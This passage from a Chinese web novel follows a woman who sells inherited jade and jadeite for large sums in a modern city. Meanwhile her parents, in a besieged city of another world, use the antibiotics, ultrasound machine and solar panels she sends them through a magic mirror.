看到桌子上摆放的两件瓷器,袁淼又上网搜了搜,发现自己可能错了。宋代的瓷器图片好像就跟桌子上的两件差不多。 外行看热闹,内行看门道,好不好的,她说不了不算,得专家发话。 嘉仕达周末的年中庆典拍卖,她最好也买样东西,这样的话,以后就是他们的会员了,想请专家鉴定,那就容易多了。 只是至少百万的购买额度让她有点舍不得。不过,羊毛出在羊身上,如果父母传过来的瓷器经过鉴定,确实是好东西,那出多少钱都不亏。 第二天上班,袁淼就递上了自己的辞职申请。方文娜愣了一会才接过,签了自己的名字递还给袁淼,让她自己交到人事部。 袁淼正要走,方文娜叫住了她,袁淼等着她说话,方文娜却道:“没事,祝你好运!” 这话莫名其妙。袁淼没管了,都辞职了,这里的一切自然从今以后都跟自己没关系了。 清理了自己的东西后,袁淼离开了瀚海设计,一时间有种天高海阔的感觉。 * 晋州的城门关了,消息传开的第二天,城里便有些乱了,流言四起,有的说郴州那边发现了瘟疫,死了多少多少人,也有的说皖州被破了,草蛮子不日就要杀到郴州。城里下了宵禁令,时辰一到,但凡有游荡的,一律捉拿关押。 新上任的提辖大人袁博文也忙碌起来,这天操/练完新兵后,又赶到了存放军备的库房,上司吴锦丰大人已经到位,袁博文在他的下手坐下。听仓库管事汇报目前晋州的军需储备情况。 库房里面主要有三大类,一类自然是军/械,有刀/枪/弓/铠/甲等。晋州的兵力并不多,现役仅三千余人,新进入伍不足百人。 战马三百余骑。 第二类则是粮草,这是重中之重。这几天袁家粮行准备开张,所以袁博文对这类物资了如指掌,一听报数就觉得不妙。属实太少,也就约莫整军不足三日的用度。 再一类便是各类物资了。眼下严冬将至,防寒物资的预备也很重要。 现在棉花尚未传入大顺,这里的人们过冬多是着皮草或麻衣,有钱人家是丝绸皮草,寻常老百姓则多是麻衣,二层麻布里面夹杂了芦花或柳絮。军中将士们的穿着也多是这一类。 数量听起来差不多。 管事的汇报完后,大家讨论开了。袁博文跟这里面的人多只是打过照面,知道姓甚名谁,品性都不了解。对军中的事务也不熟悉,所以只听不说。 大家的看法差不多,物资不够,尤其粮草。等上面的调配,一时半会肯定到不了。 但眼下粮价飙升,并不好买。 吴锦丰板着脸,“不好买,也要想办法。各位怕是不知道吧?皖州那边昨日已经打了一次,伤亡惨重,连胡将军都受了伤,各位觉得还有多久轮到郴州?” 晋州距离郴州不远,那边有事,这边自然不会消停,而且郴州守备的级别的高于晋州,那边一声令下,这边便要抽调人手增援。 “不知道守备大人预备多少银钱购买粮草?”有人站起来问。 袁博文觉得这个问题问得好,想要买粮,那得拿出钱来,钱多,没办法也会变得有办法。有钱能使鬼推磨。 吴锦丰说:“守备那边尚未预算,你们先看看有多少缺口。” 站起来问话的人坐回原位了。 吴锦丰一一看过众人后,站起了身,要去仓库视察。袁博文跟在旁边,进了仓库后,转了一圈,心里拨凉。 许是久没动武,仓库里存放的军械竟是有许多已经生锈,别说削铁如泥了,他觉得即便是砍中了要害,也未必能一刀致命。 比他以前用过的佩剑都远远不如,更别说前不久女儿才传过的那几样。 至于粮草储备,一眼就能看出不足。 袁博文抓了一把,还没细看,就能闻到了一股久放的霉味。 储备的防寒物资看起来不少,但这也是因为北地酷寒,众所周知。袁博文伸手摸了一把,麻布夹层里的不知道是芦花还是柳絮,已经僵硬,半点都感觉不到温暖。 从库房出来,袁博文的脸色不好了。吴锦丰大人看起来也是心事重重的样子,叮嘱了几句后,便让散了。 50-60 第51章 第 51 章 赚钱 挑好后, 袁淼就把玉如意放一边了。第二天又去了库房,八个箱子依旧原封不动放着。她打开来,第一箱是古玩字画和瓷器, 这些她不懂。上次拍卖的两件宋汝窑瓷器至今都还悬着, 所以这箱她没细看, 挑了一个看起来有些年头的玉鼎后, 关上了。 第二箱居然是满满一箱金元宝,一模一样的规格, 每锭二十两,都出自祥和银楼,光一层就有一百二十锭,共有五层。 第三箱也是金子。第四箱则是琳琅满目的珠宝玉器了, 袁淼看花了眼,先前觉得无比好看的红珊瑚树, 这一箱居然就有四个,只是颜色深浅和大小不一样。她挑了一个最小的一个血红色珊瑚树出来。打开接下来的箱子,也是各种珠宝玉器,光是金罗汉就有十八尊, 她也挑了一尊。 打开第六个箱子时,袁淼就看到了母亲所说的翡翠原石,都是明料,共有五个。最大比篮球还要大,纯净透明, 其间一条手臂粗细的色带飘过, 绿意盎然,美轮美奂。最小约莫鸡蛋大小,竟是难得的满绿, 纯正浓郁,明亮均匀,那绿浓厚得像是要滴出来一样,握在手中,似乎连手上都沾染了绿。 袁淼看了许久,即便是对翡翠玉石不甚了解,她也知道这小小的一个价值不菲,绝对超过上次在嘉仕达拍卖的那支满绿玉簪。 不知道是不是帝王绿?她不知道,但如果是,那就是天价了。 她一时舍不得放下。但自己手上的钱确实不多了,再来一次如前几天的情况,她未必能应付得了。父母的安全胜过了一切。 袁淼放下了,又看了看其他。比篮球略小的是一块春带彩明料,约莫二三十斤的样子。差不多重量的还有一块玻璃种正阳绿的料子。 第二小的是一个拳头大小的明料,也是满绿,只不过比最小的那个颜色要浅,像是春天才抽芽的翠绿,清新喜人。一样也如玻璃透明。 袁淼不懂行情,看来看去,挑了拳头大小的这块明料。她觉得这应该是五块原石里面最便宜的一块了,拿它试水,即便是吃亏,也是最小的亏。 剩下的两个箱子,袁淼没看了。她觉得差不多了。五样东西,玉如意、玉鼎,红珊瑚摆件、金罗汉,再加一个翡翠明料,一个亿应该没问题了。 袁淼把挑出来的东西放到一边后,又把箱子还原了。给丛老打电话了。 她与对方只有一面之缘,自然是客客气气,电话接通后说明来意——她有几样藏品,想请丛老帮忙掌掌眼。 “没问题,不过,我现在不在家,在崇敬门这边的店里,要不你把东西带过来?” 袁淼问清楚具体的地址后,准备过去。请人掌眼,也是要给钱的。这个规矩她知道,但是具体要给多少,电话里不好说。 这次的事情非同小可,她带出来的这几样初步估计总价超过了一亿,安全很重要,袁淼又给沈若臻打了电话。 沈若臻二话没话就同意了。 袁淼在公司接到了人。沈若臻上车后问:“去哪儿?” “崇敬门。” 沈若臻愣了下:“崇敬门?找人,还是买东西?” 在魔都漂了好几年,沈若臻也知道崇敬门那边是干什么的,号称古玩一条街,魔都最大的珠宝玉器交易市场也在那边。 “都不是,我带了几样东西,到那边请人帮忙掌掌眼。” 沈若臻麻了,想起了跟袁淼在拍卖行的经历,二件瓷器她拍到了二亿多!这次又是去掌眼,看来袁家祖上留给袁淼的好东西不少。他怎么就没这么好的祖先?投胎果然是个技术活。 到了街口,车被路障拦住了,再往里车不能进了。 袁淼犹豫了一会,把红珊瑚摆件和金罗汉留了下来,其他三件小的放到沈若臻手上。 下了车,两人往里走了一会后,就看到了丛老所说的珍宝阁。进去后果然看到了人。丛老连忙招呼他们到旁边的小茶厅坐。 袁淼看了看周围,古香古色的门店,两边靠墙摆放着博古架,架上陈列着各种古玩瓷器,中间则是一组玻璃柜,柜子里面也摆放了不少东西。 丛老穿着唐装,煮好了茶之后递给了袁淼和沈若臻。 “谢谢!” 丛老遗憾说:“上次你那两件瓷器,拍卖现场我也过去……”他有心想买,但最后价推到上亿后收了手,心里至今都惦记着。 “这次是什么?”他问袁淼。 “两件玉器。”袁淼笑着说,把沈若臻手上的玉如意和玉鼎递了过去。 原本端着茶盏的丛老连忙放下,先打开了玉鼎的盒子,看到里面的东西后,愣了愣,双手小心翼翼拿出来。 看了一会后说:“汉代三足青玉鼎!” 袁淼心里吃惊。汉代?她挑中这件玉鼎就是看中了它看起来有些年头的样子,又跟古玩字画放在一起,想着必定价值不菲。但说是汉代的物件,那不可能!父母那边的大顺王朝跟历史上的唐宋时期差不多,大顺王朝之前的年鉴有没有跟汉代差不多的王朝还两说呢。 丛老边看边点头。 “不错!确实是汉代三足青玉鼎,保存的这么完好,很难得!” 沈若臻凑过去问:“这上面雕刻的是什么?” “这是云雷纹,纹饰规整,整齐划一,正反两边是相背的兽面纹,用减地浅浮雕工艺琢制而出,痕迹流畅娴熟,从抛光掏膛和刻文可以看出,均具有古代琢玉特征,表面风化层较厚,这是经年累月形成的。” “小袁,这件物件你是怎么淘到的?” 袁淼笑着说:“家传的。” 这话真假不好细究,丛老不再问了,拿着玉鼎,依旧爱不释手,颠来倒去看。 袁淼又问:“您觉得这件大概值多少钱?” 丛老眼睛发亮看着袁淼:“你要出手吗?” 袁淼点头:“如果价格合适的话,我打算出手。” 丛老又看了一会:“一千五百万!你要是觉得行,就出给我吧。” 袁淼犹豫了,一千五百万当然已经超过了她的预期,但买卖这事,不就是讲的你来我往吗? “要不,您再帮我看看这件?”她表明了不太想卖,又指着另一个盒子说。 丛老把玉鼎小心翼翼放了回去,打开了另一个盒子。又愣了愣后,拿起来。 青翠通透的玉如意一拿出,沈若臻的眼睛便直了,目不转睛看着。他对玉也知之甚少,但是即便是这样,也知道这般通透程度的玉是好玉,而且,这么大块! “和田玉梅花龙纹如意,这是件很开门的东西,是用一整块玉石雕刻而成,玉质通透青翠,上面的梅花和万年青都是吉祥如意的象征,而且柄端中间还雕刻一条五爪龙,这是进贡给皇帝的贡品,十分珍贵。” 丛老啧啧说。今天算是开了眼界,见到了两件难得的臻品。 沈若臻指着问:“那……能值多少钱?” “至少一千两百万往上!” 袁淼想起了宋颜对另一柄玉如意的估价一千万到一千八百之间,市场价二千五百万往上。眼前的这位丛老与宋颜对玉如意的估价差不多。不过,相对而言,袁淼更喜欢另一柄。 “袁小姐这件也打算出手吗?” “是啊,不知道魔都这边回收翡翠玉器的行情怎么样?” “这条街上有几家典当行,他们都收高档玉器,但是价格不好说。如果袁小姐不着急出手的话,可以放在我这里寄卖。” “是吗?不知道丛老这边寄卖的规矩的是……” 丛老笑着说:“我这家店在这里开了几十年,童叟无欺,寄卖的话按规定收取最终卖价的5%。” 袁淼心里感叹,这简直是一本万利的生意,寄卖的东西对店家一点损害都没有,5%的手续费,她这件玉如意如果真在这里寄卖,那丛老就能得到至少六十万。不过,她现在出售的渠道有限,即便让人赚了一道,也总比卖不掉的好。 袁淼点头,同意了丛老的建议,两人商定了寄卖的价格。丛老觉得,袁淼的这件玉如意估价是估价,市场价二千万绝对有人要,他建议定价二千二百万。 袁淼觉得二千万就可以了,她希望早点变现。两人最终商定不少于一千八百万的卖价。 签订了寄卖合同,这件玉如意就这么定下了。 丛老又指着玉鼎说:“小袁,不瞒你说,这件玉鼎我实在喜欢,你出个价。” 才谈妥了一桩生意,袁淼也觉得跟丛老亲近了不少。寄卖这件事情如果进行顺利,她手上还有那么多,说不定以后可以长期合作。 她想了一会,喊价二千万。丛老一脸为难,磨蹭了好一会,最终定下一千九百万。 两件生意做成,掌眼的费用自然不用出了。 离开珍宝阁时,丛老笑呵呵把袁淼送出了门,袁淼这才后知后觉自己大概是卖贱了,但是东西在她手上,除了束之高阁,没有第二个用处。卖贱就卖贱了吧,吃一堑长一智。自己不懂这行,就当是交了学费。 沈若臻欲言又止。 “怎么了?”袁淼问。 “我觉得你那柄玉如意卖低了。” “是吗?你觉得我应该卖多少好?” 沈若臻说:“我听别人说,古玩这类东西,就是漫天要价,就地还钱,他刚开始问的时候,你给翻一翻都不为过,他要想要,那就慢慢砍呗。” 袁淼若有所思点头,“你觉得我们在这里开个店怎么样?” 沈若臻愣了:“你想在这里开店?那……也行吧,不过开起来,卖什么呢?” 袁淼笑了,她就是突然想到的,在这里开店,她是有东西卖,刚才在丛老的店里她看过了,古钱古玉,瓷器字画摆件,这些她几乎都有,对方的店里真假还不好说,但是她的东西多半假不了。 而且,母亲说过,他们想在晋州开一家当铺。当铺收到的东西那就多了,货源完全不用愁。 只不过这行的水深,贸然下去,对于她来说,还不如丢给拍卖行,虽然钱来得慢,但钱多,挣得也踏实。 除非能找到的一个懂行的加入,否则的话,还是不要考虑开店了。 两人边说边走,沈若臻指着自己手上还剩下的一个盒子问:“这里面是什么?” “翡翠原石。” 沈若臻很想打开来看一看。不用猜,翡翠原石一定又是袁淼家传的,先是上亿的瓷器,刚才又是二件上千万的玉器,使得沈若臻对盒子的翡翠原石很感兴趣。看到翡翠玉石店后,连忙拉着袁淼过去。 这家的店面不小,除了成品的翡翠玉器以外,还有翡翠原石出售,有两个年轻人正在挑选。 袁淼也过去看,这家的原石有全赌的,也有开了小窗半赌的料。两个年轻人拿着手电,边照边小声说话。 袁淼想听他们都在说什么,突然又过来了一个年轻人,对蹲在地上挑石头的两个年轻人说:“你们怎么还在这里挑?那边有一家开出一块冰种料子!” 两个年轻人一听,都站了起来,跟着去了。袁淼看了沈若臻一眼,打了个眼色,也跟着去了。 到了地方,才知道有多热闹。许多人围着一个摊位,里面有机器的切割声传出来,后面的人踮着往里在看,前面的人窃窃私语,“涨了!”“大涨了!”等议论声不绝。 袁淼也踮起脚,沈若臻拉了拉她,扒开人群,护着袁淼到了前面。 一台切割机站着俩人,其中一个脸上掩饰不住的激动,另一个脸色有些灰败。从旁边的议论声里,袁淼知道了满脸激动的这位就是台上正在切割的原石的买主,另一个脸色不好则是店主。 原石已经被切了好几刀,露出的切面能看到干净玉肉,底下还漂着一条手指粗细的绿。 “胡老板,你这块料子出不出?出的话,我出五百万!” “八百万!我要了!” 约莫十公斤的料子,还没完全解开,叫价从五百万此起彼伏很快到了一千六百万。 袁淼心里吃惊,就这样的种水,这点绿,居然能卖到千万?那她箱子的那几块明料原石岂不都得上亿? 胡老板笑呵呵:“谢谢各位抬爱!这块料我想看到底,等会完全解出了,哪位的价合适,我就出了。” 他这话一出,其他都没坑声。先前第一个叫价的人说道:“见好就收!差不多就出吧!” 胡老板依旧笑呵呵让解石的师傅继续。 机器的切割机又响起了。但这一刀下去之后,周围有人低声说:“完了,色没进去!” 袁淼就在旁边,顺着旁边人的指点看到那条手指粗细的绿竟然只有浅浅的一点,好在玉肉依旧细腻干净。 胡老板脸上的笑没了,嘱咐师傅继续,并让其从旁边开始。 等完全解开,整块玉肉比拳头略大,约莫十来斤的样子,肉质细腻略透,底下浅浅飘着一抹翠绿。 “八百万!” “八百五十万!我收了!” 喊价声又响起了。 袁淼已经知道这块原石原本的买价是二百万,二百万买进,八/九百万卖出,这是翻了倍在赚! 但胡老板笑得有点勉强,没先前热烈了,显然对这个卖价不太中意。想想也是,半个小时之前都有人喊到直到有人叫出一千六百万,短短时间就打了个对折,心里有落差很正常。 直到有人喊出九百八十万时,胡老板终于点头了。 袁淼目睹了全过程,在一众出价的人当中,还发现了一张熟面孔——大福源的唐经理。八百五十万就是他喊出来的,但九百万之后,他就没声了。 察觉到有人看他,唐经理也看了过来,发现了袁淼之后,他微笑点头招呼。 原石卖出去了,围观的人陆续散开。唐经理过来打招呼:“袁小姐,好久不见!” 袁淼问:“唐经理还在大福源吗?” “当然!”黄经理笑着说,他的旁边还站着一位二十七八岁的年轻男子,长相俊朗出众,微笑看着袁淼。 袁淼明知故问:“大福源也收翡翠玉石啊?” “是的。袁小姐也对翡翠玉石感兴趣吗?我们大福源的精品翡翠很不错的。” 袁淼点头,边想边说:“我……手上也有一块翡翠明料,不知道唐经理要不要……” 唐经理愣了一下,旁边的年轻男子说:“当然!只要是高档翡翠,我们大福源都要!” 唐经理回过神,连忙说:“对对对!” 袁淼笑逐颜开,年轻男子看呆住了,沈若臻心里不爽,轻咳了一声。 唐经理指着不远处的茶楼邀请:“袁小姐,要不,我们到那边坐坐?” 袁淼欣然同意,与沈若臻一道跟着唐经理来到了茶楼的雅间,坐下后,她问唐经理:“这位是……” 年轻男子笑着伸手过来:“周晟。” 袁淼与他握手:“你好,袁淼。” 周晟笑起来时一边的脸颊上酒窝若隐若现,“袁小姐喝什么?” “我随意。”喝茶不是关键,白开水都可以,关键是卖东西。 周晟叫来服务员点了单之后,又问:“袁小姐是魔都人吗?” “不是。”袁淼说,从沈若臻手里拿过盒子,打开来,“这是我才得的一块明料……” 盒子打开后,在场的人除了袁淼眼睛都直了,唐经理甚至咽了咽口水:“袁小姐,我能看看吗?” 袁淼犹豫了片刻,大福源也是全国排名靠前的奢饰品大店,她不用怕出现意外事件,再说,她旁边还有沈若臻,光块头沈若臻都能碾压眼前的两人。 她把盒子推过去,示意随便看。沈若臻已经严阵以待了。 唐经理拿出了手电,与周晟一起看袁淼推过来的翡翠原石。 拳头大小的满绿的玻璃种明料,在红色绸布的映衬下显得格外娇嫩,清新的像是刚抽出的嫩芽。 周晟和唐经理看了许久。 “袁小姐的这块料子颜色纯正均匀,种水极佳,我们大福源出七千万!” 七千万!袁淼心里吃惊,面上并没有显露出来,只笑着摇了摇头,把刚才围观时听到的话转成了自己的。 “我的这块明料至少能出四块牌子,就算每块牌子一千万,剩下的做一串项链怎么着也能卖到三四千万吧,我记得前不久嘉世达也拍卖一串满绿玻璃种项链,最终拍卖价好像是四千五百万吧……” “袁小姐,账不是这么算的,我们大福源是开门做生意的,总要有点利润才行。这样吧,你这件明料我们再加一千万,八千万!你看怎么样?” 袁淼看了沈若臻一眼,心里其实早就动摇了,这一天她出门,就想着能过亿就好,现在另外两件都没有拿出来就已经达到了目标。 沈若臻已经懵了,不过他皮肤黑,人又端得住,脸上什么表现都没有。 袁淼想了一会,漫天要价,就地还钱,是沈若臻才说过的话:“八千五百万!你们要是同意,那就拿走。” 唐经理转头看了周晟一眼,周晟微微点头后,唐经理一脸肉疼同意了。 听到短信息到账的声音后,袁淼的心情更好了。 席间问:“大福源除了需要黄金玉石以外,还需要其他珠宝吗?” 周晟笑着说:“当然,我们大福源经营的奢侈品原材料除了金银玉器以外,还有钻石,各类宝石等。” 宝石!袁淼想起自家箱子里的那一堆红宝石蓝宝石。 “宝石……是红宝石蓝宝石吗?这些你们怎么收?” “看产地颜色以及克拉区间,A级的价格最高,大克拉级别优质的红宝石非常珍贵,十克拉以上一般都要上千万一克拉了。” 袁淼听得入迷,但是自家箱子里那些宝石她从来都没有称过重量,就堆在箱子的角落,连颜色都没有分开。产地更不可能是周晟说出来的几个热门地方。 不过,这天的收获依旧满满,不知不觉中两个多小时过去。袁淼惊觉站起来:“周先生,唐经理,你们慢坐,我们还有事,先走一步。” “袁小姐,我送你们!” 袁淼连忙推拒:“不用了,我们开了车,就停在那边。两位再见!” 第52章 第 52 章 抗生素 离开了崇敬门, 袁淼先把沈若臻送到了公司,负责买药的小丁过来了,把账单给袁淼看。 袁淼看了看, 药齐了, 今天就可以传递给父母了。不过公司只有只有两辆车不够, 应该再添一辆至少能拉货的车, 不可能每次买东西对方都会送货上门。 她把沈若臻叫了过来,让他和楚萧去看车, 价格不作要求,关键是能拉货,最好是封闭型车厢的那种。 沈若臻和楚萧去忙了,袁淼在办公室坐了会。突然想到开店的形式并不仅仅只有线下, 线上也可以,并且受众更多。她不愁货源, 愁的事如何把东西卖出去,渠道越多越好。 想到这里,袁淼又叫了另一名员工进来,让她去了解线上开店的相关事情, 她准备线上销售珠宝玉器。 偌大办公室里,转眼就只剩下了两个人。袁淼看了一会,又把上次的招聘在网上重新发布了。 回到了家后,保姆过来说,地下室的安保已经完成, 工人从明天起就要在楼上施工了。 袁淼到地下室看了看, 门窗都换成了防弹型的,整栋别墅,从院子大门开始就进入了监控的范围, 地下室还安装有红外线扫描系统以及触电装置报警装置等,并且与她的手机和电脑连网了。 无论她在哪里都可以对地下室的情况了如指掌。 保姆已经把里面的卫生清扫了。 袁淼和保姆一起把楼上的两个箱子抬进了地下室。 保姆很好奇:“这里面装的是什么?怎么这么重?” “是书。”袁淼笑着说。 “难怪这么重了。” 箱子抬到地下室后,袁淼在里面挑了一颗最大的红宝石,用家里现有的称量了一下重量,居然有两克多! 她惊呆了,两克多,换成克拉那就是十几克拉了!按照周晟的说法,她这颗红宝石如果是级别上了A,那就是上千万一克拉了! 袁淼又把其他略大的都称了一遍,上了十克拉共有五个,四颗红宝石,一颗蓝宝石,接近十克拉有七颗,都是红宝石,少于两克,家里的称就称不出来了。 但是这些肯定不是周晟所说的那些著名产地。 袁淼肉眼只能看出颜色的不同和透明度怎样,剩下的区别大概是要专业的人事借助专业的工具了。 她挑了一颗不大不小的出来,决定去试试水。嘉仕达自然是最合适的了,有专业的鉴定师,价高者得,是最适合她这样的菜鸟了。但是她上次委托的白玉碗还没拍卖。等白玉碗拍卖的结果的出来之后,她就把这颗红宝石拿出来。 楼上卧室的两个箱子都搬了下来后,袁淼又把书房暗格里的东西也拿了下来,仓库里的八个箱子太重了,她一个人绝对搬不动,只能找个合适的时间了让沈若臻帮忙。 但是里面的东西得拿一部分出来,尤其装了金银的三个箱子,属实太重了,得有二个沈若臻才能抬得起来。 晚上吃过饭,袁淼就来到了仓库,把小丁买到了药品物品清点了一遍后,跟父母联系上了。 镜子里依旧只有谢云溪,袁淼把药品物品传了过去。 谢云溪问:“这些花了多少钱?” 虽然两边的钱不一样,但还是要心里有数。这边的一两银子约等于女儿那边的二千多元。 袁淼把这次的药品物品清单传给了母亲。 谢云溪看了看清单,抗菌素确实比一般药品要贵,女儿这次光药品就花了上百万了。这些是她个人要拿出来的物资,不像粮食和武器,会有人出钱,怎么着都有赚,这些都是自掏腰包的。 “淼淼,你现在手上还有多少钱?箱子里的那几块原石,你看过了吗?能不能卖?” “能!我今天就卖了一块!”袁淼把自己在崇敬门的经历告诉了谢云溪。 谢云溪想不到翡翠原石居然这么值钱,这一天女儿就卖了一个玉鼎和一块拳头大小原石,就得了一亿多。 “这么贵?” “嗯,红宝石比翡翠玉石还贵!”袁淼又把打听到的红宝石的行情告诉了母亲。 谢云溪惊呆了,原石和宝石这边是不缺的,锦州商州那边的矿产丰富,除了金矿,还有玉石矿和宝石矿。 不过,现在局势不好,那边已经落到了北凉人手上。但是附近的居民肯定有很多人都有珍藏。 如果,这个时候开一家当铺的话…… “妈,你今天怎么样?北凉人有动静吗?” “还好,你不用担心。”谢云溪笑着说,“你现在手头宽裕了,公司里也有小沈,有时间的话去练练跆拳道练练武术!” 袁淼笑了,上次觉得这个提议可笑,这次觉得是该考虑了,但不是自己去练,而是招人。 但怎么招,在哪能找到想要的人,她还得问问。 “爸爸呢?他大概什么时候能回来?”袁淼想知道父亲那边有没有想要的东西,现在她手上有钱了,想买什么都可以。 “他呀,说不准,这几天很忙。” “你们那边菜还有多少?水果吃完了吗?” 谢云溪笑了。晋州城内如今物资匮乏,新鲜的水果蔬菜尤其稀罕,她上次让女儿传过来的苹果这边还没有,一拿出大家都说好吃。橘子这里有,但是只有当季能吃上。 两种水果,女儿各买了两箱,她还没拿出去,就家里自己人吃,三天就没了。 至于蔬菜,西红柿和茄子,这里也没有,他们也没有拿出来,现在西红柿还有,茄子没剩几根了。 袁淼说:“行,我明天再买点。” 水果蔬菜这类,这边要多少就有多少。 母女俩说完了话,谢云溪就把刚传过来的药品物品清点了一遍,把念荟等人叫了进来,拆包装,片剂碾成粉,胶囊去壳,重新用油纸分门别类包装好。 袁博文回来的时候,他们才收工。谢云溪连忙让人张罗吃喝,问及现在的情况。 袁博文说:“我今天到城外跑了一圈了,方圆五六里都没有看到了一个人影……” 这便是坚壁清野的效果,他们现在就跟一座孤城差不多。跑马五六里,人用脚来量,差不多也要个把时辰的工夫了,别说村落了,连个人影都没见到。 “斥候呢?郴州那边有没有动静?” 袁博文摇头,李世杰往郴州退走之后,斥候到现在还没有消息传来。 “没有消息就是好消息。”谢云溪说,晋州城内的情况她知道,经此一战,城内的人心倒是比先前团结了不少,人人都知道,城破了,大家都活不成,所以空前的团结起来,打砸闹事的没有了,有个别心思不良的也收了起来。 “关正好些没有?” “他就那样,不过我看他那伤口,最好还是用点消炎药。” “那刚好,淼淼今天买了不少抗生素,你明天过去的时候给他带点。” 袁博文点头,抗生素应对伤口感染的效果还是比中药更加显著。 谢云溪又把女儿卖了一块玉鼎和原石得到了一亿多的事情告诉了袁博文。 “开当铺的事情,现在能开始吗?” “我明天让人问问。” 开当铺是夫妻俩先就商量好的,前不久是因为要打仗,顾不上,现在能喘口气了,要等局势完全稳定下来,谁知道要等到猴年马月? 能开就干,能给女儿攒点家底就攒点。 “粮行两边的铺子如今都关门了,要不,咱们盘下来吧?” 开战之前,晋州就走了不少人,如今打了两场,城内的铺子大多数都关了门。谢记粮行所在的街道,原本是晋州城内最热闹的一条街,如今只有几家还在坚持。 谢云溪想把两边的铺面盘下来,扩大经营,一来能挣些钱,二来也能起到稳定局势的效果。 城内有粮,多少能起到稳定人心的作用。 谢记粮行的生意很好,米糠的价格并不贵,有钱人家想吃的粟米和黍米也有售,不仅如此,粮行里还售卖酱菜和腊菜,前不久还增加了白菜萝卜。这两样可是好东西,太平年月的寒冬腊月都算是珍稀菜肴了。 虽然不便宜,但至少给了人一种希望。 “好,我让袁归去办。” “淼淼说给我定了一台B超机,我就在想,这东西传过来了,怎么用?电都没有。” 袁博文笑了:“怎么没有电?上次淼淼传过来的太阳能充电板你忘记了吗?” 谢云溪想起来,那还是他们没进晋州之前发生的事,那会他们和庄家一起遭遇了抢劫,女儿传了唐横/刀和长/枪以及二根电/棍过来,一并传过来的还有一个太阳能充电板。 由于电/棍一直没用上,太阳能充电板也放到一边了。 “那能行吗?”谢云溪依旧不相信。 袁博文说:“放心吧,我看过说明书,上次淼淼传过来的太阳能充电板,充一天能有2度电,即便是电视电脑全用上,这2度电也能管十个小时。B超机的耗电跟电视电脑差不多吧?只要不是长时间不间断使用就能行。你要不放心,咱们可以让淼淼再买一块太阳能充电板。” 谢云溪将信将疑。 袁博文因此突然想到电网,边界线拉电网可是现在社会常见的事。如果围着晋州也拉一圈电网呢…… 只要有人靠近,电源一通,那场景简直妙不可言! 北凉人可没见过电,估计即便是触电也不知道是怎么回事。 但电怎么来?充电板多来几块?能行吗?怎么跟人解释呢?还有怎么接通也是问题?电线不难弄到,器材都不是问题,但怎么用? 这东西出来,怎么说呢? 袁博文想的入迷。 “对了,明天你替我跟淼淼说一声,让她买十个望远镜过来。” 有了望远镜,他就不用像今天这样围着城池跑马了,斥候营的人也能轻松安全许多。 谢云溪答应了。 第二天袁博文就让袁归打听谢记粮行的两边的铺子卖不卖?又让商泽去找中人,打算就在同一条街上盘了一个铺面开当铺。 他提了药来见关正,把晋州城内如今的情况汇报了。 关正脸色有些苍白,但看到袁博文来,还是很高兴。对城内的事情,他一向不精通,但府中出去的人回来都说城里情况很平静,没人闹事打砸。城门口和城墙上守卫森严,寻常人等一律都不能靠近。 袁子虚接手的时候,可是一个烂摊子。他觉得换了自己,不一定能搞得这么好,这中过举的人就是不一样。 两人说了一会话。庄静带着郎中进来了,把过脉,看过伤口后,交待一定要卧床静养等。 关正一听还要静养,脸上有些不耐烦了。 庄静请郎中到一边开方子。 袁博文站在旁边,看得真切。关正的伤在大腿上,约莫巴掌的口子,原本已经见骨,经过了这几天的处理之后,看似在长肉,但伤口周围红肿的厉害,一看就知道有感染。 他把手上的药提给郎中:“朱郎中,这是我家夫人配置的治伤药,如守备大人这样的伤口能不能用?” 那郎中是晋州的名医,一见袁博文的样子便知道他就是晋州城内如今人人传颂的袁大人,他家夫人的大名在疫病肆虐那会就已经传开了,两次大战,他都有幸在医棚见过,并且受益匪浅。 袁夫人的治伤药已经在医棚用开了,确实效果显著。 “能用能用!袁夫人的治伤药效果很好,如守备大人这样的情况用上,比老朽的方子管用多了。” 庄静一脸惊喜,连忙问用法。 谢云溪是把现代的抗菌素去了包装,去了胶囊壳等,按照成人的剂量分别小包装包好的,一份里面是一天的用量,她给关正准备了五天的用量。另外还给了一瓶换成了瓷瓶装的碘伏和棉签以便清洗伤口。 袁博文交待清楚之后,庄静连忙道谢。朱郎中已经离开。关正说:“你们怎地这么啰嗦?就这点伤而已,死不了人!” 庄静红着眼睛:“你好歹听进去些,如今不比往日,等伤好后,你想做什么,我都不拦你了。” 第53章 第 53 章 博云珠宝 袁淼把仓库里的八个箱子的东西各拿了几样出来, 放车里带回家了。 第二天B超机就到了,袁淼赶到仓库时,杨有为和厂家的工程师就在仓库门口等着了。 工人们把机器抬进了仓库, 工程师教袁淼怎么操作。 袁淼学了一会问:“这种机型有没有蓄电池?如果断电了还能用吗?” 工程师说:“我们的机器有断电保护装置, 突然断电不会损害机器, 也不会出现数据丢失的情况。” 袁淼组织了下语言:“我是说, 没有电的情况能用吗?” 工程师愣了下,没有电, 机器当然不能用了,但现在即便是停电也不会有很长时间,他觉得这不是问题。 袁淼所想的是另一个问题,父母那边可是没有电的。 杨有为反应过来了:“袁总是问, 在没有电的环境下,机器还能不能用?也就是这种机型有没有蓄电功能?” 工程师明白了, 笑着摇头。杨有为笑着说:“其实,这不是问题,现在想要有电还不容易?太阳能充电板,发电机到处都有卖。” “太阳能充电板也能接上这台机器吗?” “怎么不能?都一样, 质量过硬的充电板,晒一天能有四五度电,功率还能调节,插上了跟城市里的家用电一样。现在农村很多人家都这么用。” 工程师也点头。 袁淼放心了,太阳能充电板父母那边有。 这天, 她就把B超机传了过去, 并教母亲怎么使用。 自上次与袁博文说过后,谢云溪已经把太阳能充电板找出来了,电也已经充好, 接上电源后,机器果然能开启。 具体操作步骤,说明书上都有。 谢云溪说:“你不用教了,我自己看。你爸说让你买十个望远镜过来。” 袁淼愣了下,父亲要望远镜肯定是为了探查军情,现在的无人机干这个比望远镜专业多了。她不记得父母还在的时候,无人机出来了没有,于是向母亲比划说明。 谢云溪笑着说:“我问问你爸。”她觉得袁博文多半不会要,他很谨慎,不到万不得已的情况,不会拿出划时代的东西出来。 袁淼觉得没问题,不过这事还得父母自己拿主意。把B超传给父母后,她又看了看角落的八个箱子。打电话让沈若臻和楚萧把新买的货车开过来。 等了一会,车和人就到了。 袁淼让沈若臻和楚萧把箱子抬上车。 楚萧一上手就叫:“这里面什么东西?怎么这么重?” 红漆铜锁的木箱,一看就知道是老物件。 “是书。”袁淼回答。 楚萧将信将疑,这么个老物件装书?什么书这么精贵? 沈若臻催促:“你好好走路,别掉了!” 袁淼问楚萧:“现在什么望远镜最好?” 